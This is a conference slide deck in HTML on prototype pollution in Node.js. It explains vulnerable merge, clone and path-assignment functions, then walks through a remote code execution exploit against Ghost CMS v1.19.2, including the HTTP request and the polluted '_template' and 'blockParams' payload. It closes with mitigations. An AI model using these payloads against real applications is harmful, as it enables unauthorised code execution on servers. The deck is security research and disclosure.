-
Notifications
You must be signed in to change notification settings - Fork 80
/
Copy pathindex.html
546 lines (435 loc) · 12 KB
/
index.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
<!doctype html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no">
<title>Prototype pollution attack in NodeJS application</title>
<link rel="stylesheet" href="css/reveal.css">
<link rel="stylesheet" href="css/theme/black.css">
<!-- Theme used for syntax highlighting of code -->
<link rel="stylesheet" href="lib/css/zenburn.css">
<!-- Printing and PDF exports -->
<script>
var link = document.createElement( 'link' );
link.rel = 'stylesheet';
link.type = 'text/css';
link.href = window.location.search.match( /print-pdf/gi ) ? 'css/print/pdf.css' : 'css/print/paper.css';
document.getElementsByTagName( 'head' )[0].appendChild( link );
</script>
</head>
<body>
<div class="reveal">
<div class="slides">
<section data-markdown>
<script type="text/template">
# Prototype pollution attack
## by Olivier Arteau
</script>
</section>
<section data-markdown>
<script type="text/template">
## whoami
- Pentester and security researcher.
- I used to do web development before starting in infosec 4 years ago.
</script>
</section>
<section data-markdown>
<script type="text/template">
## Plan
- Intro to JavaScript
- What allows prototype pollution ?
- How can it be exploited ?
- Mitigation
</script>
</section>
<section>
<section data-markdown>
<script type="text/template">
## Intro to JavaScript
- Class declaration in JavaScript
```js
function Dog() {
}
Dog.prototype.talk = function () {
return 42;
}
var myDog = new Dog();
myDog.talk(); // returns 42
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Intro to JavaScript
- Base properties of Object
```js
var myDog = new Dog();
// Points to the function "Dog"
myDog.constructor;
// Points to the class definition of "Dog"
myDog.constructor.prototype;
// Points to the class definition of "Dog"
myDog.__proto__;
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Intro to JavaScript
- Property access
```js
var myDog = new Dog();
var name = "__proto__";
myDog["__proto__"] === myDog.__proto__;
myDog[name] === myDog.__proto__;
myDog["toString"] === myDog.toString;
```
</script>
</section>
</section>
<section>
<section data-markdown>
<script type="text/template">
## Prototype pollution ?
- Extension method of "Object" and other base type.
- Library like "prototype.js".
- Considered a bad practice.
```js
Object.prototype.containsTheAnswer = function () {
return this.hasOwnProperty("42");
}
var a = { "42" : true };
a.containsTheAnswer(); // true
```
</script>
</section>
<section data-markdown>
<script type="text/template">
### Prototype pollution attack ?
- What if the attacker can add property to the prototype of Object ?
</script>
</section>
</section>
<section>
<h1>What can allow this ?</h1>
</section>
<section>
<section data-markdown>
<script type="text/template">
## Merge operation
```js
var a = { "a" : 1, "b" : 2 };
var b = { "b" : 3, "d" : 4 };
var c = merge(a, b); // { "a" : 1, "b" : 3, "d": 4 };
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Merge operation
```js
function merge(a, b) {
for (var attr in b) {
if (isobject(a[attr]) && isobject(b[attr])) {
merge(a[attr], b[attr]);
} else {
a[attr] = b[attr];
}
}
return a;
}
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Merge operation
```js
var a = { "a" : 1, "b" : 2 };
var b = JSON.parse('{"__proto__":{"polluted":1}}');
var c = merge(a, b);
var d = {};
d.polluted // 1
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Merge operation
- Lot's of affected library including popular library such as lodash and Hoek.
- Details is in the paper.
</script>
</section>
</section>
<section>
<section data-markdown>
<script type="text/template">
## Clone operation
```js
var a = { "a" : 1, "b" : 2 };
var b = clone(a);
b.a // 1
b.b // 2
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Clone operation
```js
function clone(a) {
return merge({}, a);
}
var a = JSON.parse('{"__proto__":{"polluted":1}}');
var b = clone(a);
var d = {};
d.polluted // 1
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Clone operation
- Only one library was found to have this issue.
- Details is in the paper.
</script>
</section>
</section>
<section>
<section data-markdown>
<script type="text/template">
## Path assignment operation
```js
var obj = { b : { "test" : 321 } };
setValue(obj, "b.test", 123);
obj.b.test; // 123
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Path assignment operation
```js
var obj = { };
setValue(obj, "__proto__.polluted", 1);
var d = {};
d.polluted // 1
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Path assignment operation
- By design
- Details is in the paper.
</script>
</section>
</section>
<section>
<section data-markdown>
<script type="text/template">
## Exploitation time !
- Case study for this research was Ghost CMS v1.19.2
- It's a large application
- It uses an affected library with user-input.
</script>
</section>
<section data-markdown>
<script type="text/template">
## Identification
- First step is to identify where the affected library is used with user input.
- File : /core/server/api/authentication.js
```js
function doReset(options) {
var data = options.data.passwordreset[0],
resetToken = data.token,
oldPassword = data.oldPassword,
newPassword = data.newPassword;
return settingsAPI.read(_.merge({key: 'db_hash'}, options))
[...]
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Identification
- With this in mind, we can build the skeleton of our payload.
```
PUT /ghost/api/v0.1/authentication/passwordreset HTTP/1.1
Host: localhost:2368
Content-Type: application/json; charset=UTF-8
Connection: close
{"passwordreset": [{
"token": "MHx0ZXN0QHRlc3QuY29tfHRlc3RzZXRlc3Q=",
"email": "[email protected]",
"newPassword": "kdsflaksldk930209",
"ne2Password": "kdsflaksldk930209",
"__proto__": {
}
}]}
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Don't crash !
- Adding any property causes almost all endpoint to crash before fully executing.
- The first objective is to identify which property needs to be added so that at least one endpoint reaches an interesting point.
</script>
</section>
<section data-markdown>
<script type="text/template">
## Don't crash !
- The target endpoint for this exploit will be the main page.
- The interesting point we want to reach is the rendering of any template.
</script>
</section>
<section data-markdown>
<script type="text/template">
## Don't crash !
- First strategy : Add the missing value that cause "undefined" exception.
- File : /core/server/controllers/channel.js<nbr><nbr>
```js
// Call fetchData to get everything we need from the API
return fetchData(res.locals.channel).then(
function handleResult(result) {
// If page is greater than number of pages we [...]
if (pageParam > result.meta.pagination.pages) {
[...]
}
```
- To fix this, we will pollute this value.
```js
"meta": { "pagination": { "pages": "100" } }
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Don't crash !
- Second strategy : Avoiding dead-end
- Sometimes the application will crash at a point where injecting additional value doesn't help.
- Identify property that will avoid taking the "dead-end" code path.
</script>
</section>
<section data-markdown>
<script type="text/template">
## Don't crash !
- Third strategy : Fixing recursion
```js
Object.prototype.foo = {};
({}).foo.foo.foo.foo.foo === ({}).foo;
```
- Fixed version.
```js
Object.prototype.foo = { "foo" : "" };
({}).foo.foo === "";
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Exploit !
- Abusing property injection.
- The rendered template is lazy loaded.
```js
module.exports.setTemplate =
function setTemplate(req, res, data) {
var routeConfig = res._route || {};
if (res._template && !req.err) {
return;
}
if (req.err) {
res._template = _private.getTemplateForError(
res.statusCode);
return;
}
[...]
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Exploit !
- Before choosing a final "_template" value, I pointed it to a local file that I control.
- Did some fuzzing with this file to identify which content could help us inject arbitrary code.
</script>
</section>
<section data-markdown>
<script type="text/template">
## Exploit !
- Partial invocation can be corrupted to execute code of our choice.
- The property that will contain our arbitrary code is "blockParams".
</script>
</section>
<section data-markdown>
<script type="text/template">
## Exploit !
- We have to find a template which contains a partial invocation.
- All the template of the application that contain partial invocation crash during the rendering.
- Test case template are shipped in the "express-hbs" module.
- Final target : "../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs"
</script>
</section>
<section data-markdown>
<script type="text/template">
## Exploit !
```js
"_template": "../../../current/node_modules/express-hbs/test/issues/23/emptyComment.hbs"
"program": {
"opcodes": [{
"opcode": "pushLiteral",
"args": ["1"]
}, {
"opcode": "appendEscaped",
"args": ["1"]
}],
"children": [],
"blockParams": "CODE GOES HERE"
}
```
</script>
</section>
<section data-markdown>
<script type="text/template">
## Demo !
</script>
</section>
</section>
<section>
<section data-markdown>
<script type="text/template">
## Mitigation
- Object.freeze(Object.prototype)
- JSON schema validation with library like ajv.
- Map instead of Object
</script>
</section>
</section>
<section>
<section data-markdown>
<script type="text/template">
## GitHub
- https://github.com/HoLyVieR/prototype-pollution-nsec18
</script>
</section>
</section>
</div>
</div>
<script src="lib/js/head.min.js"></script>
<script src="js/reveal.js"></script>
<script>
// More info about config & dependencies:
// - https://github.com/hakimel/reveal.js#configuration
// - https://github.com/hakimel/reveal.js#dependencies
Reveal.initialize({
dependencies: [
{ src: 'plugin/markdown/marked.js' },
{ src: 'plugin/markdown/markdown.js' },
{ src: 'plugin/notes/notes.js', async: true },
{ src: 'plugin/highlight/highlight.js', async: true, callback: function() { hljs.initHighlightingOnLoad(); } }
]
});
</script>
</body>
</html>